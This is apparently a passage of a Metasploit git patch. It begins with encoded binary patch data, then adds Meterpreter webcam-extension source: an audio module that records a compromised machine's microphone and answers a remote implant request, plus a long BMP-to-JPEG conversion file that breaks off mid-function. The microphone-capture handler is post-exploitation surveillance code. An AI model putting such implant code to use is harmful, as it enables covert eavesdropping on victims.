z(&gLdriPaGs%&=hf!8`WIy*je(2V`l!|$s(?eP`!La%Jei}-e2z1PQOtqXo3 zDf#~K*4g78jc6X&aM|Ve1Hak6?dOQIOZNTn)7h_|8Z~`)WOB)8Z`_yveqN(*-fdeu zxnaQ2aTA6P+tI#bk2WWkyrmIo-KuY6J1#ld%iP|JygKjAp4WTjS1fQ9#VwwyB<`tv zwdbn`n)RA|<TnFH#L|Iz+rZ;Rwc$9pvVXwL<^v`*9Pc8%K=Y+rKT4$WVinzo|m zCS}4|TQCdTj5_&c?v}4k+gmFucO_=m9bWR+6L#yUXTR>aZFBDQQ#aWhcx~4c;N=ZCB8b!PVD;3$74T;9bIo@Z+rjw*3)Wje)E<4 ze~GX|?8X1k7C(08<)u&9V+t0WC`=mNw)99>tM5y-N}9$EAAkLgapoI8>y1YBZ5GZI z6&R09-lJxfzt`gYs`Co&x=Ui_M?CXUV2frQPPCN8&aveuY`XZ#iw9o;(Sm-0^^ zns<6q&+cy+TcXD|3F`E8a-Yiaudk?;JErc5mPhCB`l8tHNd5tD>y;T8QDs9j8Mf*i z;)Z>#S}=h!&=%+hJP!;5CIB;le87o#=f}+faHBcSLWCy;ULZn*&{0Se(uE9RgfLoI zB)q3SuCZD>jd5We5bVbo{FB#P>?*d5{f@oNUS%21kMrjOxW?QgTyrjrOXkwJaa=>b zE8m-cf$z^xM->sb-enf`i`2Xu2k2ko758Z3-y9}N%hz6)9%+E*IH?^7O8dBMrdQTY;Br0 zQ(K@d(^hMnwa>IY+9B*& zm-S+@n|wu%kQ3x0*=TGt@UT$#K5gxl&Pq3>my)FPQwA#|l}u%#@|vSztL404qu8fhr$G-H;r!Pst;8i$NpW?eJbe9Y`%#+kj%7tNLC zH|FlSLV zwb^EDOE!}2$iBe7%uZzIvrE`5>}TwL_8Qxm>%k2GH#czq;4J<_We3WOw0Rgq09nGm z&vrnJ3@(?;<4U-eN`x{Q@=~ajD4eRQ>(wIlE)REuHJ28mHP>1|+C^=R(cI)s%Y4f0 zX7(`$n4`=&W}dmoTxu4eG|WnOKXNDgyxt#@LL21}yl<^uKwL%(Bh*-BZZ-Q^tE@8X zlJ$#Ko0cckhY5!MG-GEV@B5%Tf8ieH9^+!TByI%v3OALT&b`f@;VyC4xaPdXPvN)l z2l!+BY5p8v!C&Mb6vBl>A*GsbW(wKDE@7W=KsYRv32ntLVwyNa93hStGsOks-^5DM zPx6-npjq{$ASqaKNiRz2Qie1F()O8jO{yg~mLHXqrf9j^674JP zZoQ7)P!G{ny_^1uK2txff2-Ff5u_`bM^=*Sq^8lph&GNJr;Q6nGt)F9&8N*b%$bm; zwKD(YBWCz<#>__b)-UQ$lO4ubr<8Necg^?A73NxVlex|O zoB4(LceBhaH!IA`(52c|JxF>J>q$$t+F0!%?eUQJ6l<*YiuJAagdJux2|kW3UCnN1 zud@MM11^MX$thevZWx!z&F0?a)^Z2Ax_n#y8GZ+Uif<*nEvy$>p+p_U-r^`ROPqol z-XMO3(w!8~i$93I(&JK$)E8FdX?dtzBnK$Z!ZzORl%zjOvOq0R*Qq#Mz}WofUW-t)8-+8S8G&$R>EQSFRYp;c;k>G$c6>XL5g9rQGPoW8`7 zgoflnqLD6SIJrRT8xI-XjOUDH(EcK$#P|YIQEpTk_nHmN2Tj!@8!=`NSb}7;znNi< zG{>1!%o*l8(5QTK8T4t5xzQ{#cbg}{!5^{QsiqZZ-4713;9$7b7t-{K^|7_rT5PYd z3+?^(QTvk3r29C2aTC^J6WI*5fc+cm;#4jb+J2t9i)W!jQT$?l6@P+nC^Qk;2<;#h zt;HCzfz(uLD~*w+OL@{ZX{WSLIwCzNH<6!`2g8qkkT_BtFHT0AI$fHFw)1Q0jC4tAEvs?_+RG{O z3`q4S@(KA2$}>cH31!%>e5=$_+o{9V$?75XYqh4<6fI)3*4t?dFKAb_TG0F^`j_Ms zIgeK63behSG017h-ZR!1Ta6tCV|IpB%r%#rh33c5_|vA#nr+Ru)>)ga*X$4M&GzT^ z7xqCLyQIO6`#AfG-ow^om-4lRNMXL(Q@f@|!Iq3e3z|b_lI6x~lt0Uqt!`FZd!SuR z)8+X%eV}ff%wOkOp{+1c$QQ!J;bJ~o%`wtq>9BN4DwcQ3$K*=6uF?=K-bcz-r4)5^ zP&uZ2r#z&#P=}}^;00_|cc{D6FV%x;2Q5bH0iC{}{jAl|ZT&5MvHo}Rk}=!ZVmu6s z-x0Rm$5}5oi=D*P6T*b&g$`1r(n0B{bWyr0&!B}(R8r82Oh+rSL)oPqRt9O`Yk|5< zJ7GmWw25beI8|?__adoes4*8hanv|#{ABo;cboOi2x!2))<)~76>l@8K1?~{w`A9# zMcdCFWy{$LwvzSZL~bY7hVLvU!lF+Xmx$|O&yR@Ti9XU^`Cg@y5{DejROZ6_S*3iA zG9Ob;Di@WX6@RrZbiSF|S~b-%>f7o^@O>)P8rsX+t6B}%^lUvxKd9Fs%}Hyb5QBum zruQdrkq_X<6p|vyY%wW;KeLZKWP}*a(U!5s3`l69@rhB4l9a;UHwKsDpwIDUf|+Ed zm}zFZxdHmS%`7%c%pfbnnr!X1zO=r!WINSfK<}3Mr!en8E@K>=I9_JD9G%V&d zF%mNLfZRekrF7FKLi&5^39xZ5=_}yveXf6{3wT#9`H93C>*3d!W_Of#lDXL2W8Pym zM7v%SCG&O0H_ExAu+p=Im&E$g1Mr=;N?%BW<;i$<6ZHvLi7i?W{W+Z>wMYZ97FMB> zOfh=egKP#XVyL_n@bhW=W9G-2AK0#lj zpD|WhTdbW{rG*Ev_}@+thONck!`5NxJZ=|)XN=qv49xmknKtOR7g%PeD*ndp1w$5su$=h_0{@1y-+Vg zD_*RZ=%xBTNY-I^@+b6ic=Hu#*)Qu?Q9FLbp9GLVQlA8oVB#Vn(2^E}g?(2&n$jLJ z7)=Lg5-?8=#N9`te%MqYN5~b5gl)oVaUFU#xS0;#f>;0EcgK+)B%UOYB$7hXNIJPYwbYC<^TbWj_HOrb~EwT!&BI|%vZk>ac`Puayug+yRw?pk{JI+qBQ{c^I z*i-Esd#Sw+Ep@5A&pu(7+ZEIXWcoVx+@B3%gQ1r_*aS9(O@|DRW^>qCXupeL{b*mZ zIjmnaBru07;8t>_Tm=^h2{iZ~@cAN#YQ{jj|T^m91e^C4>H+ob`m=kyvPMN=CFBA zUJGC;SF`KbLbizA1`d_5rRX~xU=O4JeFFSChxX#)4gK&yu09vU1#|d^CU`>zM@!qD zivmaE;7`PJDIC@2Qh6VG(1+zR_y*#z#R_U N;lLdZ{Qu^_e*wklAol +#include +#include +#include +#include +#include +#include "webcam.h" + + +#pragma comment(lib, "vfw32.lib") +#pragma comment(lib, "winmm.lib") + +#define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0) + +BOOL capmicaudio(char *szFile, int millisecs) +{ + UINT wDeviceID; + DWORD dwReturn; + MCI_OPEN_PARMS mciOpenParms; + MCI_RECORD_PARMS mciRecordParms; + MCI_SAVE_PARMS mciSaveParms; + MCI_PLAY_PARMS mciPlayParms; + DWORD dwMilliSeconds; + + dwMilliSeconds = millisecs; + + // Open a waveform-audio device with a new file for recording. + mciOpenParms.lpstrDeviceType = "waveaudio"; + mciOpenParms.lpstrElementName = ""; + if (dwReturn = mciSendCommand(0, MCI_OPEN,MCI_OPEN_ELEMENT | MCI_OPEN_TYPE,(DWORD)(LPVOID) &mciOpenParms)) + { + // Failed to open device; don't close it, just return error. + return (dwReturn); + } + + // The device opened successfully; get the device ID. + wDeviceID = mciOpenParms.wDeviceID; + + mciRecordParms.dwTo = dwMilliSeconds; + if (dwReturn = mciSendCommand(wDeviceID, MCI_RECORD, + MCI_TO | MCI_WAIT, (DWORD)(LPVOID) &mciRecordParms)) + { + mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0 ); + return (dwReturn); + } + + // Play the recording and query user to save the file. + mciPlayParms.dwFrom = 0L; + + // Save the recording to a file. Wait for + // the operation to complete before continuing. + mciSaveParms.lpfilename = szFile; + if (dwReturn = mciSendCommand(wDeviceID, MCI_SAVE, MCI_SAVE_FILE | MCI_WAIT, (DWORD)(LPVOID) &mciSaveParms)) + { + mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0 ); + return (dwReturn); + } + + return (0L); +} + + + + +int __declspec(dllexport) controlmic(char **waveresults, int msecs) { + DWORD dwError = 0; + char *wavestring = NULL; + + /* METERPRETER CODE */ + // char buffer[100]; + /* END METERPRETER CODE */ + + capmicaudio("C:\\test.wav", msecs); + + *waveresults = wavestring; + + /* return the correct code */ + return dwError; +} + + +/* + * Grabs the audio from mic. + */ +DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet) +{ + Packet *response = packet_create_response(packet); + DWORD res = ERROR_SUCCESS; + char *wave = NULL; + + if (controlmic(&wave,packet_get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME))) + { + res = GetLastError(); + } + + //packet_add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave); + + + packet_transmit_response(res, remote, response); + + if (wave) + free(wave); + + return res; +} diff --git a/external/source/meterpreter/source/extensions/webcam/audio.h b/external/source/meterpreter/source/extensions/webcam/audio.h new file mode 100644 index 0000000000..4f1ef76bf9 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/audio.h @@ -0,0 +1,6 @@ +#ifndef _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H +#define _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H + +DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet); + +#endif diff --git a/external/source/meterpreter/source/extensions/webcam/bmp2jpeg.c b/external/source/meterpreter/source/extensions/webcam/bmp2jpeg.c new file mode 100644 index 0000000000..bc8a2e6925 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/bmp2jpeg.c @@ -0,0 +1,767 @@ +#define WIN32_LEAN_AND_MEAN +#include +#include "bmp2jpeg.h" + +/* + * Please Note: bmp2jpeg.c and bmp2jpeg.h have been coppied over from screen.c + * screen.h in the espia extension. The origional author of espia is Efrain Torres + * and a patch for JPEG suport was provided by Brett Blackham. + * These were further slightly modified by scriptjunkie to work better with the + * webcam extension. + */ + +/* Function modified to store bitmap in memory. et [ ] metasploit.com +====================================================================== + + Saves a bitmap to a file + + The following function was adopted from pywin32, and is thus under the +following copyright: + + Copyright (c) 1994-2008, Mark Hammond + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the distribution. + + Neither name of Mark Hammond nor the name of contributors may be used + to endorse or promote products derived from this software without + specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS + IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +*/ + +/* + * The JPEG lib is from the Independent JPEG Group (IJG) + * http://www.ijg.org/ + * + * The jpeg lib included in source/jpeg-8/ has a small modification to the + * rdbmp.c example to support 32 BMP files. That modification was submitted + * to the IJG to be included in future releases. The only other change to + * JPEG library was to the makefile so the library would link to + * meterperter without warning/error. + * + * Most the JPEG code used in espia is taken from the rdbmp.c example from + * source/jpeg-8/. + * + * from the JPEG README: + * You are welcome to redistribute this software and + * to use it for any purpose, subject to the conditions under LEGAL ISSUES, below. + * + * ... + * + * This software is the work of Tom Lane, Guido Vollbeding, Philip Gladstone, + * Bill Allombert, Jim Boucher, Lee Crocker, Bob Friesenhahn, Ben Jackson, + * Julian Minguillon, Luis Ortiz, George Phillips, Davide Rossi, Ge' Weijers, + * and other members of the Independent JPEG Group. + * + * + * LEGAL ISSUES + * ============ + * + * In plain English: + * + * 1. We don't promise that this software works. (But if you find any bugs, + * please let us know!) + * 2. You can use this software for whatever you want. You don't have to pay us. + * 3. You may not pretend that you wrote this software. If you use it in a + * program, you must acknowledge somewhere in your documentation that + * you've used the IJG code. + * + * (The "non-english" version can be found in the ../../srouce/jpeg-8/README file) + */ + + +#ifdef HAVE_UNSIGNED_CHAR +typedef unsigned char U_CHAR; +#define UCH(x) ((int) (x)) +#else /* !HAVE_UNSIGNED_CHAR */ +#ifdef CHAR_IS_UNSIGNED +typedef char U_CHAR; +#define UCH(x) ((int) (x)) +#else +typedef char U_CHAR; +#define UCH(x) ((int) (x) & 0xFF) +#endif +#endif /* HAVE_UNSIGNED_CHAR */ + + +/* + * This function taken from the JPEG-8 example file rdbmp.c provided a + * platform idenependant way to read files... + * But, we "reading" from memory. So, return the current byte + * in the buf and inc the pointer so it "feels" like an fopen read. + */ +int ReadOK(bmp_source_ptr sinfo, char* buffer,int len) +{ + memcpy(buffer, sinfo->pub.input_buf + sinfo->pub.read_offset, len); + sinfo->pub.read_offset += len; + return 1; // yeah, it always works cuz I say so.. +} + +/* + * Like ReadOK, this would read from a file. But we aren't reading a file. + * So, return the current byte in the buf and inc the pointer. + * WARNING: I don't think this function is working. (My guess: read_offset++) + * However, it just so happens since Windows 7 (and I think all the windows) + * screenshots always return a 32 bit BMP, the code never calls this function. + * + */ +int read_byte (bmp_source_ptr sinfo) +{ + return (int)sinfo->pub.input_buf + sinfo->pub.read_offset++; +} + +/* + * Since I think windows screenshot is always a 32bit BMP this function + * will never be used, however, I am leaving it here in case there is a + * version of windows that does return a 8bit indexed BMP. Once it is + * confirmed that all windows use 32bit BMPs, I'll remove this. + * + * How does a BMP look you ask? + * see: http://local.wasp.uwa.edu.au/~pbourke/dataformats/bitmaps/ + */ +void read_colormap (bmp_source_ptr sinfo, int cmaplen, int mapentrysize) +{ + int i; + + switch (mapentrysize) { + case 3: + /* BGR format (occurs in OS/2 files) */ + for (i = 0; i < cmaplen; i++) { + sinfo->colormap[2][i] = (JSAMPLE) read_byte(sinfo); + sinfo->colormap[1][i] = (JSAMPLE) read_byte(sinfo); + sinfo->colormap[0][i] = (JSAMPLE) read_byte(sinfo); + } + break; + case 4: + /* BGR0 format (occurs in MS Windows files) */ + for (i = 0; i < cmaplen; i++) { + sinfo->colormap[2][i] = (JSAMPLE) read_byte(sinfo); + sinfo->colormap[1][i] = (JSAMPLE) read_byte(sinfo); + sinfo->colormap[0][i] = (JSAMPLE) read_byte(sinfo); + (void) read_byte(sinfo); + } + break; + default: + return; //ERREXIT(sinfo->cinfo, JERR_BMP_BADCMAP); + break; + } +} + +/* + * Used to help convert 16 bit BMP + * Taken from: http://bytes.com/topic/c/answers/552128-how-convert-16-bit-565-rgb-value-32-bit + * + * BUG: I haven't been able to figure out the correct format of the BMP in memory. + * Not sure if its 565 or 555. Nor am I sure if its rgb or bgr or what. Also + * I can't say I'm sure which order the two 8 bits that make up the unsigned + * short "a" should come in. As it is now, this will send back a valid JPEG. + * But, the colors won't be exact. + */ +unsigned long rgb16_to_rgb32(unsigned short a) +{ +/* 1. Extract the red, green and blue values */ + +/* (555) from bbbb bggg ggrr rrr0 */ +unsigned long b = (a & 0xF800) >> 11; +unsigned long g = (a & 0x07C0) >> 6; +unsigned long r = (a & 0x003E) >> 1; + +/* (565) from rrrr rggg gggb bbbb */ +// unsigned long r = (a & 0xF800) >> 11; +// unsigned long g = (a & 0x07E0) >> 5; +// unsigned long b = (a & 0x001F); + +/* (555) from 0rrr rrgg gggb bbbb */ +// unsigned long r = (a & 0x7C00) >> 10; +// unsigned long g = (a & 0x03E0) >> 5; +// unsigned long b = (a & 0x001F); + +/* (555) from 0bbb bbgg gggr rrrr */ +//unsigned long b = (a & 0x7C00) >> 10; +//unsigned long g = (a & 0x03E0) >> 5; +//unsigned long r = (a & 0x001F); + + +/* (555) from rrrr rggg ggbb bbb0 */ +//unsigned long r = (a & 0xF800) >> 11; +//unsigned long g = (a & 0x07C0) >> 6; +//unsigned long b = (a & 0x003E) >> 1; + +/* (565) from bbbb bggg gggr rrrr */ +//unsigned long b = (a & 0xF800) >> 11; +//unsigned long g = (a & 0x07E0) >> 5; +//unsigned long r = (a & 0x001F); + +/* 2. Convert them to 0-255 range: +There is more than one way. You can just shift them left: +to 00000000 rrrrr000 gggggg00 bbbbb000 +r <<= 3; +g <<= 2; +b <<= 3; +But that means your image will be slightly dark and +off-colour as white 0xFFFF will convert to F8,FC,F8 +So instead you can scale by multiply and divide: */ +r <<= 3; +//g <<= 2; //(565) +g <<=3; //(555) +b <<= 3; +//r = r * 255 / 31; +//g = g * 255 / 63; //(565) +////g = g * 255 / 31; //(555) +//b = b * 255 / 31; +/* This ensures 31/31 converts to 255/255 */ + +/* 3. Construct your 32-bit format (this is 0RGB): */ +//return (r << 16) | (g << 8) | b; + +// This is 0RBG?? Yeah, it makes no sense to me either. +return (r << 16) | (b << 8) | g; + +/* Or for BGR0: */ +//return (r << 8) | (g << 16) | (b << 24); + +} + + + +/* + * Read one row of pixels. + * The image has been read into the whole_image array, but is otherwise + * unprocessed. We must read it out in top-to-bottom row order, and if + * it is an 8-bit image, we must expand colormapped pixels to 24bit format. + * + * NOTE: Again, windows might only ever use 32bit BMP's making this function + * useless. However, I'll leave it here until I can confirm that. + * + * NOTE: cjpeg_source_ptr sinfo is really a BMP ptr. + */ + +JDIMENSION get_8bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo) +/* This version is for reading 8-bit colormap indexes */ +{ + bmp_source_ptr source = (bmp_source_ptr) sinfo; + register JSAMPARRAY colormap = source->colormap; + JSAMPARRAY image_ptr; + register int t; + register JSAMPROW inptr, outptr; + register JDIMENSION col; + + /* Fetch next row from virtual array */ + source->source_row--; + image_ptr = (*cinfo->mem->access_virt_sarray) + ((j_common_ptr) cinfo, source->whole_image, + source->source_row, (JDIMENSION) 1, FALSE); + + /* Expand the colormap indexes to real data */ + inptr = image_ptr[0]; + outptr = source->pub.buffer[0]; + for (col = cinfo->image_width; col > 0; col--) { + t = GETJSAMPLE(*inptr++); + *outptr++ = colormap[0][t]; /* can omit GETJSAMPLE() safely */ + *outptr++ = colormap[1][t]; + *outptr++ = colormap[2][t]; + } + + return 1; +} + +/* + * + * NOTE: Damn it, windows uses what ever the colors option is set to- + * High Color (16 bit) + * True Color (32 bit) + * Who the hell would use High Color? PDA's? + * + * NOTE: cjpeg_source_ptr sinfo is really a BMP ptr. + * + * Dev notes: + * http://www.winehq.org/pipermail/wine-patches/2005-August/020010.html + * http://www.cpp-home.com/tutorials/246_2.htm + * http://bytes.com/topic/c/answers/552128-how-convert-16-bit-565-rgb-value-32-bit + */ + +JDIMENSION get_16bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo) +{ + bmp_source_ptr source = (bmp_source_ptr) sinfo; + JSAMPARRAY image_ptr; + register JSAMPROW inptr, outptr; + register JDIMENSION col; + unsigned long bit32_pix; + char a,b; + char *pix_ptr; + /* Fetch next row from virtual array */ + source->source_row--; + image_ptr = (*cinfo->mem->access_virt_sarray) + ((j_common_ptr) cinfo, source->whole_image, + source->source_row, (JDIMENSION) 1, FALSE); + + /* Transfer data. Note source values are in BGR order + * (even though Microsoft's own documents say the opposite). + */ + inptr = image_ptr[0]; + outptr = source->pub.buffer[0]; + for (col = cinfo->image_width; col > 0; col--) { + // Need to pull 16 bits at a time. + a = *inptr++; // First 8 + b = *inptr++; // Second 8 + bit32_pix = rgb16_to_rgb32( a << 8 | b ); //Send all 16bits to be converted + pix_ptr = (char *)&bit32_pix; + outptr[2] = *pix_ptr++; + outptr[1] = *pix_ptr++; + outptr[0] = *pix_ptr++; + outptr += 3; + } + + return 1; +} + + + +/* + * + * NOTE: Again, windows might only ever use 32bit BMP's making this function + * useless. However, I'll leave it here until I can confirm that. + * + * NOTE: cjpeg_source_ptr sinfo is really a BMP ptr. + */ + +JDIMENSION get_24bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo) +/* This version is for reading 24-bit pixels */ +{ + bmp_source_ptr source = (bmp_source_ptr) sinfo; + JSAMPARRAY image_ptr; + register JSAMPROW inptr, outptr; + register JDIMENSION col; + + /* Fetch next row from virtual array */ + source->source_row--; + image_ptr = (*cinfo->mem->access_virt_sarray) + ((j_common_ptr) cinfo, source->whole_image, + source->source_row, (JDIMENSION) 1, FALSE); + + /* Transfer data. Note source values are in BGR order + * (even though Microsoft's own documents say the opposite). + */ + inptr = image_ptr[0]; + outptr = source->pub.buffer[0]; + for (col = cinfo->image_width; col > 0; col--) { + outptr[2] = *inptr++; /* can omit GETJSAMPLE() safely */ + outptr[1] = *inptr++; + outptr[0] = *inptr++; + outptr += 3; + } + + return 1; +} + +/* + * + * NOTE: Again, windows might only ever use 32bit BMP's making this function + * useless. However, I'll leave it here until I can confirm that. + * + * NOTE: cjpeg_source_ptr sinfo is really a BMP ptr. + */ +JDIMENSION get_32bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo) +/* This version is for reading 32-bit pixels */ +{ + bmp_source_ptr source = (bmp_source_ptr) sinfo; + JSAMPARRAY image_ptr; + register JSAMPROW inptr, outptr; + register JDIMENSION col; + + /* Fetch next row from virtual array */ + source->source_row--; + image_ptr = (*cinfo->mem->access_virt_sarray) + ((j_common_ptr) cinfo, source->whole_image, + source->source_row, (JDIMENSION) 1, FALSE); + /* Transfer data. Note source values are in BGR order + * (even though Microsoft's own documents say the opposite). + */ + inptr = image_ptr[0]; + outptr = source->pub.buffer[0]; + for (col = cinfo->image_width; col > 0; col--) { + outptr[2] = *inptr++; /* can omit GETJSAMPLE() safely */ + outptr[1] = *inptr++; + outptr[0] = *inptr++; + *inptr++; // Skip the 4th bit (Alpha Channel) + outptr += 3; + } + return 1; +} + + +/* + * This method loads the image into whole_image during the first call on + * get_pixel_rows. The get_pixel_rows pointer is then adjusted to call + * get_8bit_row, get_24bit_row or get_32bit_row on subsequent calls. + * This will not copy the image header info. Just the raw image data. + */ +JDIMENSION preload_image (j_compress_ptr cinfo, cjpeg_source_ptr sinfo) +{ + bmp_source_ptr source = (bmp_source_ptr) sinfo; +// register FILE *infile = source->pub.input_file; +// register int c; + register JSAMPROW out_ptr; + JSAMPARRAY image_ptr; + JDIMENSION row; + + /* Read the data into a virtual array in input-file row order. */ + + + for (row = 0; row < cinfo->image_height; row++) { + image_ptr = (*cinfo->mem->access_virt_sarray) + ((j_common_ptr) cinfo, source->whole_image, + row, (JDIMENSION) 1, TRUE); + out_ptr = image_ptr[0]; + + // Copy the bmp data + memcpy(out_ptr, source->pub.input_buf + source->pub.read_offset, source->row_width); + source->pub.read_offset += source->row_width; + } + + /* Set up to read from the virtual array in top-to-bottom order */ + switch (source->bits_per_pixel) { + case 8: + source->pub.get_pixel_rows = get_8bit_row; + break; + case 16: + source->pub.get_pixel_rows = get_16bit_row; + break; + case 24: + source->pub.get_pixel_rows = get_24bit_row; + break; + case 32: + source->pub.get_pixel_rows = get_32bit_row; + break; + default: + return 0; //ERREXIT(cinfo, JERR_BMP_BADDEPTH); + } + source->source_row = cinfo->image_height; + + /* And read the first row */ + return (*source->pub.get_pixel_rows) (cinfo, sinfo); +} + + +/* + * Read the file header; return image size and component count. + * A lot of this could might be safe to remove since we might + * only ever be using 32bit Windows BMP images. UPDATE: or 16bit BMPs + */ +void start_input_bmp (j_compress_ptr cinfo, cjpeg_source_ptr sinfo) +{ + bmp_source_ptr source = (bmp_source_ptr) sinfo; + U_CHAR bmpfileheader[14]; + U_CHAR bmpinfoheader[64]; +#define GET_2B(array,offset) ((unsigned int) UCH(array[offset]) + \ + (((unsigned int) UCH(array[offset+1])) << 8)) +#define GET_4B(array,offset) ((INT32) UCH(array[offset]) + \ + (((INT32) UCH(array[offset+1])) << 8) + \ + (((INT32) UCH(array[offset+2])) << 16) + \ + (((INT32) UCH(array[offset+3])) << 24)) + INT32 bfOffBits; + INT32 headerSize; + INT32 biWidth; + INT32 biHeight; + unsigned int biPlanes; + INT32 biCompression; + INT32 biXPelsPerMeter,biYPelsPerMeter; + INT32 biClrUsed = 0; + int mapentrysize = 0; /* 0 indicates no colormap */ + INT32 bPad; + JDIMENSION row_width; + + /* Read and verify the bitmap file header */ + // Its a bitmap... I just made it.. But, if you findout otherwise + // return without an error message.. Better than a crash I guess. + + if (! ReadOK(source, bmpfileheader, 14)) + return; //ERREXIT(cinfo, JERR_INPUT_EOF); + if (GET_2B(bmpfileheader,0) != 0x4D42) /* 'BM' */ + return; //ERREXIT(cinfo, JERR_BMP_NOT); + bfOffBits = (INT32) GET_4B(bmpfileheader,10); + /* We ignore the remaining fileheader fields */ + + /* The infoheader might be 12 bytes (OS/2 1.x), 40 bytes (Windows), + * or 64 bytes (OS/2 2.x). Check the first 4 bytes to find out which. + * + * Read the first for bytes to figure out how big the header is. + * The read the rest of the header (once we know its size) + */ + if (! ReadOK(source, bmpinfoheader, 4)) + return; //ERREXIT(cinfo, JERR_INPUT_EOF); + headerSize = (INT32) GET_4B(bmpinfoheader,0); + + + if (headerSize < 12 || headerSize > 64) + return; //ERREXIT(cinfo, JERR_BMP_BADHEADER); + if (! ReadOK(source, bmpinfoheader+4, headerSize-4)) // Read the rest of the header + return; //ERREXIT(cinfo, JERR_INPUT_EOF); + + switch ((int) headerSize) { + case 12: + /* Decode OS/2 1.x header (Microsoft calls this a BITMAPCOREHEADER) */ + biWidth = (INT32) GET_2B(bmpinfoheader,4); + biHeight = (INT32) GET_2B(bmpinfoheader,6); + biPlanes = GET_2B(bmpinfoheader,8); + source->bits_per_pixel = (int) GET_2B(bmpinfoheader,10); + + switch (source->bits_per_pixel) { + case 8: /* colormapped image */ + mapentrysize = 3; /* OS/2 uses RGBTRIPLE colormap */ + //TRACEMS2(cinfo, 1, JTRC_BMP_OS2_MAPPED, (int) biWidth, (int) biHeight); + break; + case 24: /* RGB image */ + //TRACEMS2(cinfo, 1, JTRC_BMP_OS2, (int) biWidth, (int) biHeight); + break; + default: + //ERREXIT(cinfo, JERR_BMP_BADDEPTH); + break; + } + break; + case 40: // When using "High color" + biWidth = (INT32) GET_4B(bmpinfoheader,4); + biHeight = (INT32) GET_4B(bmpinfoheader,8); + biPlanes = GET_2B(bmpinfoheader,12); + source->bits_per_pixel = (int) GET_2B(bmpinfoheader,14); + biCompression = GET_4B(bmpinfoheader,16); + biXPelsPerMeter = GET_4B(bmpinfoheader,24); + biYPelsPerMeter = GET_4B(bmpinfoheader,28); + biClrUsed = GET_4B(bmpinfoheader,32); + + if (biCompression != 0) + return; + + if (biXPelsPerMeter > 0 && biYPelsPerMeter > 0) { + /* Set JFIF density parameters from the BMP data */ + cinfo->X_density = (UINT16) (biXPelsPerMeter/100); /* 100 cm per meter */ + cinfo->Y_density = (UINT16) (biYPelsPerMeter/100); + cinfo->density_unit = 2; /* dots/cm */ + } + break; + case 64: // This is the one we get on 32bit Windows 7 from GDI + /* Decode Windows 3.x header (Microsoft calls this a BITMAPINFOHEADER) */ + /* or OS/2 2.x header, which has additional fields that we ignore */ + biWidth = GET_4B(bmpinfoheader,4); + biHeight = GET_4B(bmpinfoheader,8); + biPlanes = GET_2B(bmpinfoheader,12); + source->bits_per_pixel = (int) GET_2B(bmpinfoheader,14); + biCompression = GET_4B(bmpinfoheader,16); + biXPelsPerMeter = GET_4B(bmpinfoheader,24); + biYPelsPerMeter = GET_4B(bmpinfoheader,28); + biClrUsed = GET_4B(bmpinfoheader,32); + /* biSizeImage, biClrImportant fields are ignored */ + + switch (source->bits_per_pixel) { + case 8: /* colormapped image */ + mapentrysize = 4; /* Windows uses RGBQUAD colormap */ + // TRACEMS2(cinfo, 1, JTRC_BMP_MAPPED, (int) biWidth, (int) biHeight); + break; + case 24: /* RGB image */ + // TRACEMS2(cinfo, 1, JTRC_BMP, (int) biWidth, (int) biHeight); + break; + case 32: /* RGB image + Alpha Channel */ + // TRACEMS2(cinfo, 1, JTRC_BMP, (int) biWidth, (int) biHeight); + break; + default: + return; //ERREXIT(cinfo, JERR_BMP_BADDEPTH); + break; + } + if (biCompression != 0) + return; //ERREXIT(cinfo, JERR_BMP_COMPRESSED); + + if (biXPelsPerMeter > 0 && biYPelsPerMeter > 0) { + /* Set JFIF density parameters from the BMP data */ + cinfo->X_density = (UINT16) (biXPelsPerMeter/100); /* 100 cm per meter */ + cinfo->Y_density = (UINT16) (biYPelsPerMeter/100); + cinfo->density_unit = 2; /* dots/cm */ + } + break; + default: + return; //ERREXIT(cinfo, JERR_BMP_BADHEADER); + return; + } + + if (biWidth <= 0 || biHeight <= 0) + return; //ERREXIT(cinfo, JERR_BMP_EMPTY); + if (biPlanes != 1) + return; //ERREXIT(cinfo, JERR_BMP_BADPLANES); + + /* Compute distance to bitmap data --- will adjust for colormap below */ + bPad = bfOffBits - (headerSize + 14); + + /* Read the colormap, if any */ + if (mapentrysize > 0) { + if (biClrUsed <= 0) + biClrUsed = 